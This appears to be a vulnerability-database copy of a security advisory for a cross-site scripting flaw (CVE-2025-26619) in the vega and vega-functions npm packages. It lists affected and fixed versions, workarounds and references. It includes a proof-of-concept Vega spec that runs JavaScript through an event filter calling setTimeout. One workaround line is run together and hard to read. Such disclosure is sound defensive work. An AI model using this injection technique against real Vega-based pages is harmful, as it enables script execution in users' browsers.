Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter
Impact
In vega 5.30.0 and lower, vega-functions 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.
Patches
Patched in vega 5.31.0 / vega-functions 5.16.0
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- Run
vegawithoutvega.expressionInterpreter. This mode is not the default as it is slower. - Using the interpreter described in CSP safe mode (Content Security Policy) prevents arbitrary Javascript from running, so users of this mode are not affected by this vulnerability.
References
- Reported to Vega-Lite by @kprevas Nov 8 2024 in https://github.com/vega/vega-lite/issues/9469 & https://github.com/vega/vega/issues/3984
Reproduction of the error in Vega by @mattijn
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"signals": [
{
"name": "inject_alert",
"on": [
{
"events": [
{
"type": "mousedown",
"marktype": "rect",
"filter": ["scale(event.view.setTimeout, 'alert(\"alert\")')"]
}
],
"update": "datum"
}
]
}
],
"marks": [
{
"type": "rect",
"encode": {
"update": {
"x": {"value": 0},
"y": {"value": 0},
"width": {"value": 100},
"height": {"value": 100}
}
}
}
]
}
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vega | < 5.31.0 | 5.31.0 |
| npm package | vega-functions | < 5.16.0 | 5.16.0 |
References
- https://github.com/vega/vega/security/advisories/GHSA-rcw3-wmx7-cphr
- https://nvd.nist.gov/vuln/detail/CVE-2025-26619
- https://github.com/vega/vega-lite/issues/9469
- https://github.com/vega/vega/issues/3984
- https://github.com/vega/vega/commit/8fc129a6f8a11e96449c4ac0f63de0e5bfc7254c
- https://github.com/vega/vega
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N- Weakness (CWE)
CWE-79- Platform
- npm
- Package
vega, vega-functions- Disclosed
- 27.03.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-rcw3-wmx7-cphr - CC BY 4.0
Vulnerability history: vega-functions
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 5
- First → latest
- 03.2023 01.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 4
Disclosures per year
- 2023: 2
- 2024: 0
- 2025: 2
- 2026: 1
-
Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.